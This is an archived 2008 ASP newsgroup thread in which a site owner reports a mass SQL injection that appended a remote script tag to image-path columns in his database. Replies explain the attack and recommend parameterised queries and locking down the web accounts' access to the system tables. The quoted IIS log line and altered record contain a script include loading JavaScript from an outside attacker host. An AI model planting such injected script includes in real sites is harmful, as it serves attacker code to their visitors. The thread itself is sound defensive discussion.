SQL Injection
in [ASP]
|
From: shank on 16 Jun 2008 18:27 - - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - - GET /sresult.asp title=(Your%20Love%20Keeps%20Lifting%20Me)%20Higher%20And%20Higher&artist=Michael%20McDonald&type=%25&category=%25&column=t_asc%3Cscript%20src= http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - My table was evidently hit with SQL Injection. I searched the IIS logs and found hundreds of the below instances. Questions... 1) The end result was my image columns were updated to reflect: Original data: files/icons/ps987_75.jpg Updated data: files/icons/ps987_75.jpg<script src=http://www.advabnr.com/b.js></script> Thousands of records were updated like the above. I tried downloading http://www.advabnr.com/b.js to see what's inside, but it wasn't available. What could have been in the js file to cause such an update? 2) I don't see how they could have known the Table name or the column names. Same question as #1 I guess. 3) I was and still am using a stored procedure on that page to SELECT from the table. How do I stop similar malicious efforts from happening again? thanks
From: Bob Barrows [MVP] on 16 Jun 2008 19:37 shank wrote: > - - - - - - - - - IIS Log File Entry - - - - - - - - - - - - - - - - > GET /sresult.asp > title=(Your%20Love%20Keeps%20Lifting%20Me)%20Higher%20And%20Higher&artist=Michael%20McDonald&type=%25&category=%25&column=t_asc%3Cscript%20src= > http://www.advabnr.com/b.js%3E%3C/script%3E 80 - 76.16.112.66 HTTP/1.1 > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > > My table was evidently hit with SQL Injection. I searched the IIS > logs and found hundreds of the below instances. Questions... > > 1) The end result was my image columns were updated to reflect: > Original data: files/icons/ps987_75.jpg > Updated data: files/icons/ps987_75.jpg<script > src=http://www.advabnr.com/b.js></script> > Thousands of records were updated like the above. > I tried downloading http://www.advabnr.com/b.js to see what's inside, > but it wasn't available. > What could have been in the js file to cause such an update? > http://mvp.unixwiz.net/techtips/sql-injection.html http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23 http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf > 2) I don't see how they could have known the Table name or the column > names. Same question as #1 I guess. Same answer - by causing error messagess that poor coding practice allow to be returned to the user. > > 3) I was and still am using a stored procedure on that page to SELECT > from the table. How do I stop similar malicious efforts from happening > again? Use parameters: http://groups.google.com/group/microsoft.public.scripting.vbscript/msg/61fedf4e1efd63a6 -- Microsoft MVP - ASP/ASP.NET Please reply to the newsgroup. This email account is my spam trap so I don't check it very often. If you must reply off-line, then remove the "NO SPAM"
From: Old Pedant on 16 Jun 2008 21:21 "Bob Barrows [MVP]" wrote: > shank wrote: > > 2) I don't see how they could have known the Table name or the column > > names. Same question as #1 I guess. > > Same answer - by causing error messagess that poor coding practice allow to > be returned to the user. No, not really. Oh, it's poor coding practice, but the original injection (not seen here) is code that goes and reads the system tables and tries to discover all user table names and all user VARCHAR, NVARCHAR, TEXT, NTEXT field names and *THEN* injects the JavaScript into all those fields. It's pretty sophisiticated, actually. But it's easily protected against by simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx accounts. (Well, and of course by practicing good programming of the ASP page in the first place. But even with poor ASP code, if you set up the DB correctly the particular attack fails.) If you care, I think I can find a copy of the actual injection attack code still lurking, showing how it loops on all the tables and fields.
From: Bob Barrows [MVP] on 17 Jun 2008 06:53 Old Pedant wrote: > "Bob Barrows [MVP]" wrote: >> shank wrote: >>> 2) I don't see how they could have known the Table name or the >>> column names. Same question as #1 I guess. >> >> Same answer - by causing error messagess that poor coding practice >> allow to be returned to the user. > > No, not really. Oh, it's poor coding practice, but the original > injection (not seen here) is code that goes and reads the system > tables and tries to discover all user table names and all user > VARCHAR, NVARCHAR, TEXT, NTEXT field names and *THEN* injects the > JavaScript into all those fields. Yes, that's the other way, and it is covered in the links I provided, which is what I meant by "same answer". > > It's pretty sophisiticated, actually. But it's easily protected > against by simply disallowing access to the sytem tables from the > IUSR_xxx and IWAM_xxx accounts. .... or whatever account is being used to connect to sql server. > (Well, and of course by practicing > good programming of the ASP page in the first place. But even with > poor ASP code, if you set up the DB correctly the particular attack > fails.) > > If you care, I think I can find a copy of the actual injection attack > code still lurking, showing how it loops on all the tables and fields. I've seen it - I just hadn't put the two cases together -- Microsoft MVP - ASP/ASP.NET Please reply to the newsgroup. This email account is my spam trap so I don't check it very often. If you must reply off-line, then remove the "NO SPAM"
From: Adam on 24 Jun 2008 10:28
"It's pretty sophisiticated, actually. But it's easily protected against by simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx accounts. (Well, and of course by practicing good programming of the ASP page in the first place. But even with poor ASP code, if you set up the DB correctly the particular attack fails.)" I aplogize in advance if this is a stupid question, but in SQL Server 2005, how do you deny access for the IUSR and IWAM accounts? Thanks, Adam "Old Pedant" wrote: > > > "Bob Barrows [MVP]" wrote: > > shank wrote: > > > 2) I don't see how they could have known the Table name or the column > > > names. Same question as #1 I guess. > > > > Same answer - by causing error messagess that poor coding practice allow to > > be returned to the user. > > No, not really. Oh, it's poor coding practice, but the original injection > (not seen here) is code that goes and reads the system tables and tries to > discover all user table names and all user VARCHAR, NVARCHAR, TEXT, NTEXT > field names and *THEN* injects the JavaScript into all those fields. > > It's pretty sophisiticated, actually. But it's easily protected against by > simply disallowing access to the sytem tables from the IUSR_xxx and IWAM_xxx > accounts. (Well, and of course by practicing good programming of the ASP > page in the first place. But even with poor ASP code, if you set up the DB > correctly the particular attack fails.) > > If you care, I think I can find a copy of the actual injection attack code > still lurking, showing how it loops on all the tables and fields. |